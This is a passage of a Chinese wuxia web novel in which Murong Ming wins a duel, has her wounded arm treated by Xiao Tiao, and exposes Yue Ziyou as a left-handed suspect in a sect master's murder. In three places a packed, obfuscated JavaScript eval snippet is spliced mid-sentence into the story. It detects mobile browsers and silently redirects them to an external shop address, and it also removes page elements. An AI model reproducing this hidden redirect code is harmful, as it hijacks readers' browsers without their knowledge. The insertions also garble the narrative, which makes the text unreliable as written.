冷如烟惊诧万分,以往在她的链刃折磨下痛苦求饶的对手不计其数,像慕容暝这般全然不顾及的还是头一个。她不敢置信地道:“你疯了……?快松手,你的手真会废了的!” 冷如烟错愕的这一瞬,便足够慕容暝抓住机会,细雪剑的剑锋决然刺出,冷如烟防备不及,剑锋瞬间没入她的肩头,顿时见血,狠狠回敬了冷如烟一番。 首席上,观战的慕容连衡一声叹息,蓝令容看向了他,问道:“怎么,心疼那丫头了?” 慕容连衡道:“暝儿这要强的性子,遇事从不肯退让半分,和阿执当年真是一般无二。” 蓝令容听慕容连衡提起叶执,眉梢漠然一挑,冷肃道:“她当然不能退,她代表的是我们问剑谷,未战至最后一刻,如何能认输?” 慕容暝的这出其不意的一招,令全场瞬间沸腾。二人势均力敌,又都有极强的实战经验,对战过程险象环生、酣畅淋漓,绝对是难得一见的精彩对决。有人称赞慕容暝骁勇无畏,也有人说慕容暝伤敌一千自损八百,太过鲁莽。 冷如烟这下可谓是作茧自缚,自讨苦吃了。慕容暝战意如潮,又拽着那锁链不肯撒手,那道原本用来挟制慕容暝的锁链,此刻却将她和慕容暝牵制在了一处,难舍难分。冷如烟若想招架防御,就必得先将手中的链刃收回,而她这次能凭链刃得手,全依仗着慕容暝不熟悉她的武器,攻其不备才得此机会。一旦慕容暝摆脱了链刃的钳制,又有了防备,再想得手可就不轻易了。 慕容暝道:“冷姑娘,方才的话回敬给你,你若肯认输,我可以让你少吃些苦头。” 冷如烟这下无语凝噎了。但她身为杀手,实战经验成熟老练,当即做出抉择,指尖微动,再次触发刀柄机关收回了链刃。链刃脱离慕容暝手臂之时,自然又连带着刮下不少皮肉,看得众人头皮发麻,在心中齐齐为慕容暝喊痛。 “这是什么东西啊,要打就光明磊落的打,使这些折磨人的阴私手段是做什么!”慕容晴满腔愤懑无处使劲,眼圈不禁泛起了红,要不是碧血和丹心在不远处守着,她早就忍不住冲到擂台上叫停了。 碧血和丹心对视一眼,二人都是一副无可奈何的神情,对慕容暝的奋不顾身早已见怪不怪。 碧血淡定道:“我去取药箱来。” 萧迢早已无意识地攥紧了手,却是有些茫然。身为武者,比武决斗乃是家常便饭,负伤更是在所难免,平日里他也并不觉得有什么,可这一次,他忽然觉得慕容暝左臂的血红太过灼人眼目,他的呼吸没来由地一窒,就像心上停了只飞鸟,正有一下没一下地扇动着翅膀,裹挟着一阵阵说不清道不明的风,不可断绝,不得平息。 一定要用这么兵行险招的方式么,连自身的安危也不顾及?萧迢如此想着,但他旋即又释然了,换作他在擂台上对战冷如烟,也会做出和慕容暝同样的举措,她自始至终,都只是冷静、果断地选择了最行之有效的方法。 慕容暝左臂解去了桎梏,重获自由,汹涌难平的痛感反倒催生出了更加强烈的战意,冷如烟用双刀勉力招架,却也止不住节节后退。冷如烟实在没招了,再次发动了她的链刃,想要凭此解除自己困境。可慕容暝已经吃过一次亏,就不会再次踩进同一个坑里,她身形腾挪,轻松避开链刃,继续向冷如烟攻去,剑势如虹,不可阻挡。 冷如烟欲哭无泪,为了躲避只能一再撤步向后倒身,同时在心中怒骂半柱香前大放阙词的自己……要早知道慕容暝是这么个不要命的疯子,又何苦要去激她! 在场所有人皆屏息以待,慕容暝猛然刺出细雪剑,剑尖直抵冷如烟面门。可她却蓦然顿住了,剑尖悬停在冷如烟鼻尖前,未再前进分毫,而后收剑入鞘,面色淡然未改。 “冷姑娘,承让了。” 冷如烟的脚后跟出界了一寸。 全场寂然,就连裁判也看得呆怔迟迟未动,半晌,他这才惊觉,敲响铜锣扬声道:“问剑谷,慕容暝胜——!” 20.集英盛会7 冷如烟站定,还因方才的打斗而气息不稳,胸廓剧烈起伏着。缓了片刻,她终于直起身来,却是明媚地笑了,不见半分败于人手的阴霾。 冷如烟抱拳一礼:“慕容少主果真如传闻那般英勇强悍,能败于你手,我冷如烟心悦诚服。” 慕容暝回礼道:“能得冷姑娘如此对手,亦是不虚此行。” 冷如烟忽然向慕容暝凑近了些,小声道:“慕容少主考虑来我们影绝宫兼职接单吗?以少主的功夫,恶贯满盈榜第一非你莫属,保证能赚得盆满钵满,比起当少主可是优渥得多。” 影绝宫缺业绩缺到这种程度了?如此光明正大地挖墙脚,还都挖到她头上来了。慕容暝哭笑不得,搪塞道:“呃……下次一定。” 慕容暝走下擂台,江尧带着两名抬着担架的弟子迎上前来,目光落于慕容暝血肉斑驳的左臂,关切道:“少主可要躺上担架来?由我亲自加急抬你去医所。” 慕容暝瞥他一眼:“不用,我伤的是手不是腿。这担架你还是自己留着吧,哪天教习弟子时再犯困,也不必再睡到树上了。” 江尧没想到她还惦记着这茬,讪讪摸了摸鼻子:“阿暝,你总是如此记仇。” 正说着,慕容暝远远瞧见慕容晴正朝她这旁跑来,于是不动声色地将左臂悄悄背在了身后。她方才自己查看过伤口,颇为骇人,还是别让慕容晴看到为妙。 慕容晴来到慕容暝跟前,见她掩于身后的左手露出一节染血的碎布,刚憋回去的眼泪又婆娑起来:“姐姐,你怎么样?” 慕容暝无奈笑道:“怎么这副模样,我赢下了这局,你先前押的注应当能赚不少钱,该开心才是。” “哪有姐姐你这么打的,要早知道你这么拼命,我宁愿你不要赢!”慕容晴擦了擦泪,说着就要探头看向慕容暝遮掩起的左臂,“姐姐,让我看看你的手。” “无事,小伤而已。” 慕容暝微微侧身躲过慕容晴的视线,一边向江尧使起了眼色,江尧露出一个心领神会的表情,朝她眨了眨眼,转而对慕容晴道:“小晴,不用担心,阿暝她受过的伤比吃过的饭都多,这点伤对她来说就是挠痒痒的程度。” 江尧这一通反向安慰,慕容晴更加泫然欲泣,慕容暝无语望天,只觉得自己一定是脑子抽风了,怎么能指望江尧这张嘴里吐出些什么好话? 跟在慕容晴身后赶来的碧血和丹心心领神会,碧血抱着药箱上前:“少主,药箱我取来了,我来替您处理伤口。” 丹心则笑眯眯地拉着慕容晴往一旁去:“晴小姐,少主都说了没事的,您就放心吧,碧血会处理好的。” 慕容晴还是不放心,频频扭头向慕容暝那旁瞧着:“可是……” 丹心微微侧身挡住了慕容晴的视线,岔开话题道:“晴小姐,我方才听到那边押注的要兑银子了,我们快去看看吧!” 慕容晴虽然心思单纯,却也领会了丹心的言外之意,她明白慕容暝是不想让她看到处理伤口的场面,便顺着丹心的话道:“好,我知道了,我们一起去吧。” 见慕容晴离开,慕容暝这才松了口气,带着碧血回到了观赛席,将受伤的手放在了桌面上。慕容暝的左手整条小臂皮肉翻卷,其下白骨隐约可见,破损的衣衫被半干的血糊在了伤口之上,让人单是看着都不自觉泛起肉疼。 碧血习以为常,一言不发地打开药箱准备处理伤口,却见一个骨节分明而修长的手,将一只小药瓶轻轻搁在了桌上。 慕容暝抬眸望去,见萧迢来到了她身侧,道:“用这个吧。” 慕容暝见碧血投来询问的目光,朝碧血点了点头。碧血取过萧迢递来的小瓷瓶,取下瓶塞凑近鼻间轻嗅了嗅,赞道:“真是好药。” 萧迢道:“这是我师娘留下的伤药,对于止血镇痛有奇效,涂上会好受不少。” 慕容暝问道:“你的师娘,可是温显意温大夫?” “正是。” 慕容暝的思绪忽然跳脱出了九霄云外,她在想,温显意和商唤云都是药王的亲传弟子,是师姐妹关系,那商唤云论辈分岂不是萧迢的……师叔?小姨? 萧迢哪能知道慕容暝正在想着辈分的事,他见慕容暝静默许久,道:“慕容少主,我有些处理外伤的经验,让我来帮忙清理伤口吧。” 萧迢一点也不见外,顺势在慕容暝身侧坐下,娴熟地从药箱中取出剪镊,着手清理附着在伤口上的碎布。他打趣道:“没想到慕容少主天不怕地不怕,却害怕妹妹看到自己受伤。” 正在一旁备药的碧血轻笑起来:“萧少侠有所不知,我们少主对晴小姐一贯是半点办法都没有的。” 慕容暝听见二人开起了自己的玩笑,也不阻拦,只道:“小晴心思单纯,也不爱这些刀枪剑戟,没必要让她看到这样鲜血淋漓的场面。” 萧迢道:“可生于江湖宗门之中,总归是免不了这些的。” “是啊……但我会尽我所能,让她再多免受几分。” 伤口处,衣料沾染的血已经干涸大半,附着黏连于伤口上,每撕下一片都势必会牵扯其下的血肉。萧迢将手上的动作放得极轻缓,有条不紊,他先用煮沸后的温水将碎布打湿,使得干硬的血痂逐渐软化,再用镊子仔细挑去伤口上的片片碎布。 萧迢这一番功夫让慕容暝少吃了许多苦头,只余丝丝微不足道的痛感。她将萧迢轻车熟路的动作看在眼里,不由问道:“你以前经常给人处理伤口?” 萧迢手上动作不停,应道:“我们北阙宗人人好战,师门内经常比试斗武,负伤是常有的事,以前我便经常帮着师娘给师兄弟们处理伤口。再后来,我离开北阙宗,一路上没少被追杀,就变成自己给自己处理伤口了……做得多了,总归熟练些。” 慕容暝静静听着,萧迢的语气稀松平常,没有掺杂任何异样的情绪。她并未继续追问萧迢师门的事,她总觉得萧迢并不似表面看起来的那样云淡风轻,她犯不着往人家的伤口上撒盐,于是选择了安静。 萧迢也默契地没再继续说话,两个人就这样保持着微妙的沉默,耳边只余萧迢手中传来断断续续的剪镊声响。 就在二人处理伤口的间隙,武擂上,今日最后一场比试也决出了胜负,尘埃落定。慕容连衡自首席上起身,裹挟着内力的声音清晰有力地传入在场所有人的耳中,他宣布道:“诸位,本轮比试到此告一段落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204486|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,明日便是武擂的最终决战。还请今日获胜的各位弟子登台抽签,决定本次集英大会点将论武环节的人选。” 点将论武,是集英大会武擂最为特殊的环节,仅为场间助兴,不计入武擂成绩。各派在两轮比试中脱颖而出的选手将会共同抽签,其中有唯一的一枚空白签。抽中空白签的选手可以在参与集英大会的所有人中任意挑选一人进行比试,不问出身,不论地位。 而被选中之人,若无特殊原因不得推辞应战。换句话说,抽中空白签的选手如果指名要挑战慕容连衡,慕容连衡也是不能拒绝的,这是集英大会流传至今的规矩,约定俗成。 上过药后,萧迢将绷带服帖地缠绕于慕容暝左臂,打了一个不松不紧的结,笑道:“好了少主,总算没耽误上台抽签。” 慕容暝收回了手,整理好有些支离破碎的衣袖,道:“多谢。” 慕容暝重返擂台,其余几名在第二轮比试中脱颖而出的弟子也已等候在此,江尧端着签筒信步走来,朗声道:“签筒中共有八枚纸签,为示公正,还请诸位一同抽签,并同时查看签面结果,若有异议可当即向我说明。” 江尧私下里散漫不羁,当着各派众人的面还是收敛不少,装得得体持重,也算没有辱没了他大师兄的身份。 慕容暝伸手从签筒中取出一枚纸签,展开后定睛一看,纸签中央赫然画着一只潦草的猪头,显然出自江尧的手笔。 慕容暝和那猪头大眼瞪小眼,她默然抬头看向江尧,用口型无声问道:“……你画的?” 江尧故作一副扼腕叹息的表情,同样无声回答道:“真遗憾,看来你没抽到空白签。” 而其余几名弟子,在看到纸签后也露出了各不相同的古怪表情,甚至有忍不住笑出声来的,也不知江尧在其他几张纸签上都画了什么惊天地泣鬼神的东西。 众人之中,唯有越子游的反应与众不同。他在看到签面的一瞬,眉头骤然扬起,而后逐渐化为一抹肆意的笑,他摊开了自己手中的纸签,上头空空如也。 “对不住了各位,空白签在我的手上。” 慕容暝的心绪陡然一凛,警铃大作。 慕容连衡颔首道:“既如此,便请越少侠挑选自己的对手吧。” “我要挑战的人……” 越子游将尾音拖得意味深长,他一瞬不瞬地凝视着慕容暝,眼中尽是挑衅而狠厉的锐芒,他将手臂一扬,无比坚定地指向一处。 “就是他!” 鸦雀无声。所有人齐齐朝着越子游手指之处扭头望去,只见一个相貌平平无奇的男子端坐在那处,正专心致志地整理着他面前的药箱。 慕容暝岿然不动,连视线也未曾向那处偏移一瞬,她淡然回望着一脸势在必得的越子游。在越子游抽中空白签的那刻,她就已经猜到越子游会挑选谁来进行对决。 观赛席上,萧迢原本专注着手中整理药箱的活计,却听闻周遭人声渐消,似有无数道目光瞬间聚焦而来。萧迢手中一顿,旋即了悟地轻叹一声,合起药箱抬眸望向越子游,二人视线陡然交汇,萧迢眼中似有刀芒离鞘,战火渐起。 越子游挑选的对手,正是萧迢。 21.集英盛会8 一瞬间的寂静过后,场面顿时热闹起来,众人纷纷猜测起那男子究竟是何来路,竟能让越子游将仅此一枚的空白签用在他的身上。 “这位少侠不知是何门派,以前从未见过啊。” “……你们瞧,他坐的位置好像是慕容少主的席位呢!” “真的,听说是慕容少主请来的客人。” 慕容连衡双眼微微一眯,人情练达如他,早已品出了其中必有隐情,向慕容暝询问道:“暝儿,这位少侠眼生得很,不知是何姓名,师从何派?” 慕容暝上前回话:“父亲,这位是我专程请来的客卿,乃是一位四方云游的隐侠,无门无派。” 慕容连衡点点头:“既然能得暝儿你的青睐,想必是极为出色的人才。” 越子游插话道:“是啊,能成为慕容少主的客人,自然是极为出色的,所以在下也想见识一番,不知这位少侠可否赏脸应允?”越子游这一番话说得很是恭维,却是心口不一,不见半点诚意。 台下有人帮腔道:“越少侠何必客气,众所周知,这抽中空白签之人,挑选的对手无故不得拒绝,这位少侠怕是不想应也得应。” 慕容连衡道:“这位少侠,还请上台一叙。” 萧迢闻言,从席上起身,不卑不亢地在无数道目光的注视之下走上擂台,站定在了慕容暝身侧不远的距离。 而越子游站在萧迢对面,手中微动,将一个小瓷瓶神不知鬼不觉地置于掌心,悄然取下瓶塞。旋即,他将手朝着萧迢所在的方向迅疾一扬,瓶中盛着的不知名液体顷刻间悉数倾洒而出。这一下让所有人始料未及,萧迢下意识抬手将越子游朝他泼出的液体挡去了大半,可如此近的距离之下,仍有零星几滴不可避免地飞溅上他的颊侧。 慕容暝面沉如水:“越少侠,你这是做什么?” 越子游将他手中的小瓷瓶握在手中,寻衅似的朝慕容暝挥了挥,道:“慕容少主请放心,这是显容水,无毒无害,唯一的功效……便是让易容之人原形毕露。这位少侠,还不肯把手放下来吗?” 慕容暝心道一声不妙,却见萧迢缓缓放下了面前的手,而他那张易容的面孔之上,沾染上显容水的部位,已经化成一片斑驳,显露出了其下的真容。 显容水是天下所有易容术的克星,纵使萧迢的易容术再怎么天衣无缝,凭肉眼难以识破,可易容的材料归根结底只有那几样,换汤不换药,触碰到显容水便会即刻化散开来。 自打那日徐秉山在山门外怀疑萧迢使了易容术,便派越子游快马加鞭去金阳城药铺配了这一剂显容水,为的是当众拆穿萧迢的易容,好叫他在众目睽睽之下百口莫辩。好巧不巧,越子游今日又抽中了空白签,如此天赐良机,他自然要向萧迢发难。 “萧迢,果然是你。” 多说无益,萧迢也不强行替自己辩白,索性将剩下还未被显容水荼毒的假面也一并卸除,他原本那张如朝阳般熠熠生辉的明俊面容终得重见天日,道:“没错,是我。” “这就是易容术?真是神奇,之前完全没看出来呢。”慕容晴第一次见识到易容术,不免咋舌,随即又品鉴起来,“嗯……长得还挺俊俏的,比先前的那张脸可是赏心悦目多了。丹心,碧血,你们觉得呢?” 丹心和碧血对视一眼,扶额苦笑。场上火星子都要擦冒烟了,没想到慕容晴关注的重点竟然是长相俊不俊俏,真是令人艳羡的钝感力。 越子游道:“我们北阙宗的罪人,竟然堂而皇之地出现在集英大会上,还是慕容少主专程请来的客卿,慕容少主对此可有什么解释?” 慕容暝脸不红心不跳,直言道:“我没什么解释。” 越子游一噎:“什么?!” 徐秉山见越子游顺利拆穿萧迢的伪装,也到了自己登台亮相的时机,带着北阙宗一干人匆匆赶到擂台,站在了越子游身旁,打着圆场笑道:“这其中定有什么误会,子游一时情急说了气话,慕容少主别往心里去。” 萧迢在慕容暝身侧低声道:“我如今是弑师叛逃的罪人,一旦跟我沾上关系,你和问剑谷都会被牵扯进来。慕容少主,此时该与我划清界限,说你是受我蒙蔽不知道我是萧迢,如此方为上策。” 慕容暝轻声回道:“我若想划清界限,一开始便不会请你来这集英大会。” 她没有理会萧迢的劝阻,朗声朝北阙宗的众人道,“他是我请来的客卿,越少侠刚刚向我要一个解释,是在责怪我窝藏了北阙宗的逆徒?” 徐秉山闻言,蹙眉思忖起来。他刚继任宗主之位不久,根基未稳,不好与问剑谷当众翻脸,顺势给慕容暝递了个台阶,道:“我们北阙宗绝无此意,慕容少主想来也是受了这奸恶之徒的蒙骗,并不知晓他的真实身份。” 慕容暝没有承徐秉山的情,只道:“哦。那倒没有,我至始至终都知道他是萧迢。” 徐秉山一贯端着的儒雅谦和终于碎成了一地渣子:“你……!” 首座上,蓝令容怒不可遏地握紧了拳头,向一旁的慕容连衡低声斥道:“她究竟在做什么?背着我们招来这么大一个祸患,是想要和北阙宗当众撕破脸皮吗?我看她简直是无法无天!” 慕容连衡审视着擂台上的慕容暝和萧迢,他了解慕容暝,她绝不会做出对问剑谷不利之事。可是这个萧迢呢?他并非问剑谷中人,这个变数未必可控。 慕容连衡道:“且再看看吧,暝儿素来沉稳有盘算,她这么做,定是有她的用意。” 徐秉山听出了慕容暝言语间对萧迢的维护之意,又实在不想与问剑谷生出嫌隙,勉力维持着自己的修养,缓和着语气好言相劝道:“慕容少主可能并不了解,这个萧迢乃是杀死萧琮宗主的大逆不道之徒,但这是我们北阙宗门内之事,不好在此叨扰各位,还请慕容宗主和少主将此人交与我们带回北阙宗处置。” 萧迢断然否认:“师父非我所杀。徐师叔,你们仅凭一面之词便给我扣上弑师叛逃的罪名,我绝不会认!” 徐秉山冷笑道:“人证物证俱在,你还有什么可抵赖的,不过是垂死挣扎罢了!” 不等萧迢回应,慕容暝先接过话道:“正好,我也甚是好奇,数月前各大门派都接到了北阙宗请求协助抓捕萧迢的书信,但信中却并未言明萧琮宗主遇害一事的前因后果。北阙宗既然需要我们协助抓捕萧迢,也应当将那些人证物证一一向我们道来才是。若萧迢真的有罪,不需要徐宗主开口,我也会亲自将他绑了交给北阙宗。” 慕容暝的这一番话,并未直接替萧迢求情,提出的要求有理有据,倒是令各派众人纷纷附和。 “慕容少主这话说得不错,既然北阙宗要我们帮你们抓捕逆徒,自然是要将事情的前因后果说得明白些,总不能稀里糊涂地将人说抓就抓。” “是啊,正好今日各派众人都在,徐宗主你就趁此机会一并讲个清楚明白吧!” 徐秉山面色微变,他没料到慕容暝非但没有把萧迢这个烫手山芋往外扔,还欲将此事摆在众人面前分说清楚。既然如此……也好,在所有人面前捶死了这件事,既能将萧迢推入万劫不复的深渊,或许还能趁机将问剑谷以窝藏罪人之名一同拉下水。 思及此处,徐秉山只觉得自己的想法真是绝妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213814|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瞬间来了底气,应允道:“慕容少主所言有理,若是慕容宗主首肯,我便将先宗主萧琮被害一事的始末细细说来。” 慕容连衡听到此处,已经有些明白慕容暝的用意,面上并不显山露水,点头道:“此等大事,确实应当分说清楚,徐宗主请。” 徐秉山道:“数月前,萧琮师兄练功时不甚走火入魔,功力大损,因此闭关疗伤,逆徒萧迢趁着萧琮师兄最为虚弱之时,潜入他闭关的居所,并将他击杀。幸好他犯案时被人撞破,目击到了这一切,否则萧琮师兄岂非枉死?!” 说到此处,徐秉山悲愤异常,掩面垂泪,众人也一片唏嘘叹惋。 萧迢冷静回道:“师父遇害那日,我收到一封信函让我秘密下山一叙,当晚我根本不在北阙宗,不可能在师父的居所出现。” 徐秉山质问道:“你说收到了一封信函,信在何处?” “信中让我阅后即焚,我自是将信烧毁了。” “那你说有人邀你下山见面,你去见了谁?大可以让他出来给你作证!” 萧迢一滞,垂眸掩去眼底的神色,道:“对于这个……我无可奉告。” 慕容暝心中一动,听萧迢所言,他分明有位人证能替他作不在场证明,可他宁愿背下这口黑锅也不肯说出这个人证,想必此人身份非同小可。 越子游嗤笑道:“萧迢,你可真会编理由呢,可惜连一样能证明你清白的证据也拿不出来。有人在前往萧琮宗主居所的必经之路上见到了你,萧琮宗主尸身上的伤痕也通通都指向了你!任凭再怎么你百般抵赖,都是铁证如山!” 慕容暝佯装好奇道:“目击证人是谁?为何又说尸身上的伤痕能证明是萧迢所为?” 徐秉山道:“事发当晚,包括子游在内的好几名弟子,都曾看到一个身形和萧迢酷似之人出现在师兄居所附近。师兄尸身上有着北雁南飞这一式留下的独特伤痕,北雁南飞难度极高,在门内只有萧琮师兄和他的亲传弟子萧迢才会。更巧的是,这个伤痕,还是左手使刀留下来的!” 这些内容都和慕容暝先前打探到的一致,她毫不意外,继续追问道:“左手使刀?可我看萧迢平日里惯用右手。” 徐秉山道:“北阙宗许多人都知道,萧迢一开始是用左手使刀的,只是因为刀谱中记载的都是右手刀法,左手练刀多有不便,萧迢这才改学用了右手。自那之后,他只有在面对棘手的劲敌时才会用左手执刀,而除他以外,北阙宗内再无第二个人会左手刀法!” 慕容暝闻言,转头看向萧迢,萧迢不动声色地点了点头,证实了徐秉山所言非虚。 还当真是铁证如山啊,慕容暝在内心苦笑道。 这时,萧迢忽然开口问道:“你是如何想的?” 慕容暝低声回应他:“倒没怎么想。只是觉得这个真凶生怕别人怀疑不到你头上,先是左手使刀,又是北雁南飞,还真是费尽心机……这位真凶可是非常了解你呢。” “真凶……?”萧迢的声音带着一丝难以察觉的颤抖,“事到如今,你仍然相信这一切不是我做的吗?” 当初,他看到这些证据一一摆在自己面前,甚至连他自己都有一瞬间的动摇。而他朝夕相处的同门,也都对他持着怀疑的态度,更有甚者认定了他就是凶手,纷纷与他划清界限,恩断义绝。 而她……她与自己不过数面之缘,竟然会愿意给他这一份千金难求的信任。 “我从来只相信自己亲眼所见之后的判断。”慕容暝并未留意萧迢此刻的神情,只是伸手轻轻拍了拍他的肩头,自顾自地道,“不管是对事还是对人。” 22.悲天无败1 这时,坐在一旁看戏的慕容晴突然出声:“北雁南飞……听说这是萧琮宗主的成名绝技,我也好想见识一下呢,不知道萧少侠能否让我们开开眼界?” 慕容暝转头看向慕容晴,见慕容晴眨着眼对她狡黠一笑,显然是已经猜到慕容暝有何打算了,那她定要来助姐姐一臂之力。 萧迢这才从先前的怔愣中惊醒,将视线从慕容暝身上移开,爽快应下:“好,那便在诸位面前献丑了。” 说罢,萧迢信手拔出一旁兵器架上放置着的长刀,将北雁南飞一气呵成施展而出。他在多年的修习中早就将这些动作重复过无数次,已是炉火纯青,臻于化境。他身法飘逸卓绝,刀刃辗转间,如孤高雁鸟凌空振翅而飞,壮丽苍凉,令人见之再难忘怀。 慕容暝将萧迢的北雁南飞看在眼里,愈发笃定自己没有看错人,他的刀意纯粹无瑕,是天生的刀者,心存邪念之人是断不可能拥有的。 同时,她也在悄然观察着对面北阙宗众人的反应,只见徐秉山幽幽一叹,神色黯然失落,越子游则脸色阴沉,眉宇间难掩嫉恨之色。 一招北雁南飞舞毕,萧迢利落收刀于身侧,面色淡然无澜,众人还沉浸在余韵之中久久不能平静,赞不绝口。 “这就是北雁南飞啊,实在太美了……” “萧琮宗主当年便是凭借这一招名扬天下,没想到今日有幸得见,这趟集英大会真是没白来!” “这萧少侠真不愧是萧琮宗主的亲传弟子,虽年纪尚轻,却已然得见他师父昔日的卓绝风采了。” 越子游冷声打断:“这招北雁南飞使得再好又如何?不照样还是杀人凶手,这个事实永远不会变!” 众人这才回过神来,意识到他们此刻是在谈论一场谋杀案,而不是武技欣赏环节。 就在这时,慕容暝拔出细雪剑款步上前,依葫芦画瓢,竟学着方才萧迢的动作也施展了一招北雁南飞,虽使的是剑而不是刀,但动作却是学了个八九不离十。 刚冷却下去的场面再一次喧腾,台下众人惊叹连连,此等绝技竟能在一日之内接连看到两次,一刀一剑,各有其风骨和神韵,实在大饱眼福。 细雪剑铮然入鞘,慕容暝面向徐秉山,问道:“徐宗主,我这现学现卖的北雁南飞,比之萧迢的如何?” 徐秉山当着各派众人的面,总归不好睁眼说瞎话,只得如实评价道:“慕容少主天资卓绝,虽非用刀,但只是看过一次便能连贯施展出,已得七成形似,实在令徐某叹服。” 越子游对师父的话不以为然,鄙夷道:“慕容少主这是何意,总不会是想当众显摆自己的天赋异禀吧?” “非也。”慕容暝轻笑着摇了摇头,越子游左看右看,总觉得这个笑容是在嘲讽他。 慕容暝道:“我只是看过一次北雁南飞,便已经能学出个囫囵,如果换作一个在刀法上颇有天赋的有心之人,将这北雁南飞偷学了去也不是没有可能。虽说不能像萧迢那样施展得精妙绝伦、神形兼具,但想要造成一个北雁南飞特有的伤痕,并非难事。” “这……”徐秉山哽住了,一时间不知该如何辩驳。 越子游步步紧逼:“就算有人能偷学了北雁南飞,但你别忘了,萧琮宗主尸身上的伤口可是左手使刀留下的……要用左手使出北雁南飞这般复杂的招式,必须是惯用左手之人才有可能!凶手既和萧迢身形相似,又能随意在北阙宗内行走自如不惹人怀疑,还能用左手熟练使出北雁南飞,满足这些条件的除了萧迢还能有谁?!” 慕容暝果断答道:“当然有,我就知道还有一个符合所有条件的人。” 越子游闻言心神大乱,惊疑不定道:“……是谁?!” 他话音未落,慕容暝拿过萧迢手中的长刀,倏然朝越子游飞掷而出,朝他的面门突袭而去。这一下猝不及防,越子游来不及多想,凭本能下意识伸手接下了那柄飞来的长刀,惊怒交加道:“慕容暝,你做什么?!” 越子游这一句还没嚎完,便见慕容暝霎时出手向他袭来,丝毫没有让他说话的空隙。他被逼无奈,只能用刚刚接下的长刀抵挡慕容暝的攻势,二人兵刃相接,慕容暝攻速极快,出招也极狠厉,全然不给越子游留有任何喘息的余地,越子游完全没有多思多想的机会,只能强撑着应付。 交锋过数十招后,慕容暝却又突然收招退了回去,一派从容、游刃有余,只留越子游一人狼狈地杵在原地大口喘着粗气,孰强孰弱一目了然。 越子游好不容易喘顺了气,咬牙切齿道:“慕容暝,你不由分说便动手,这就是问剑谷少主的教养吗?” 慕容暝致歉道:“方才一时兴起想试试越少侠的武功,若是冒犯了越少侠,我向越少侠赔不是。” 越子游下句话还没来得及唾骂出口,便听慕容晴在一旁轻笑起来,颇为新奇地道:“呵呵……这位越少侠竟也会左手使刀,和萧少侠一样呢,还能和我姐姐过上这么多招式。北阙宗难道人人都会练左手刀法么?真是好厉害!” 众人这才惊觉,齐齐向越子游看去,赫然发现越子游在情急之下,竟下意识用左手接下长刀,并且用左手执刀同慕容暝对了数十招!慕容暝的实力有目共睹,若非惯用左手之人,是无论如何都是做不到的。 萧迢看清其中玄机,不敢置信地喃喃道:“越子游,你竟然……” 慕容暝道:“人在最紧急的情形之下,总是会下意识使用自己的惯用手,哪怕已经改用右手多年,也敌不过天生的本能。我虽不知越少侠为何要隐瞒自己会左手刀法的事实,但你的确也会左手使刀。” 慕容暝以这一招试探越子游并不是心血来潮。自打她对越子游起了疑心之后,便暗中观察过他的左手,果真叫她发现越子游左手虎口和指腹处生着一层不易察觉的薄茧,和他右手常年握刀形成的厚茧相对称。 越子游的脸红一阵绿一阵,比走马灯还要五彩斑斓,憋了半天才勉强挤出一句话:“我确实是左撇子,可早在我拜入北阙宗前就已经改用了右手!况且就算我会左手使刀又如何,难道这天下所有的左撇子都是杀了萧琮宗主的凶手吗?!” 慕容暝此刻瞧着越子游,便如一只上下扑腾既聒噪又嘴硬的半死鸭子,只叹人不要脸真是天下无敌。她道:“越少侠,就事论事,莫要混淆诡辩。” 越子游:“什么叫就事论事,你倒是说啊!” 既然越子游执意上赶着找死,慕容暝岂能不允?她逐一列出讲明,道:“第一,先前你们曾说过,凶手身形和萧迢酷似,却无一人明确看清凶手的脸,而越少侠你的身形与萧迢亦是相似,夜晚光线昏暗,完全有错认的可能。第二,你身为徐宗主的亲传弟子,当然也能在北阙宗内来去自如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222448|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不招惹怀疑。第三,你天赋尚可,有机会、也有能力将北雁南飞偷学了去,并且你也会左手刀法……” 慕容暝顿了顿,接着道:“北阙宗当初不正是凭着这些理由才给萧迢定罪的么?既然萧迢有嫌疑,那么……越少侠你当然也有。” 许多人都是头一次听见素来冷冰冰的雪无常一口气讲了这么长的一段话,还说得如此掷地有声、条理清晰,同时被她话语中的惊人事实所撼,因而慕容暝说罢后,全场寂然,半晌无声。 慕容暝忽然想起了什么,又补充道:“哦,还有一点。” 越子游:“还有?!” 慕容暝:“如果你也是疑犯,你此前针对萧迢的所有证言都不足为信了,可以通通推翻。” 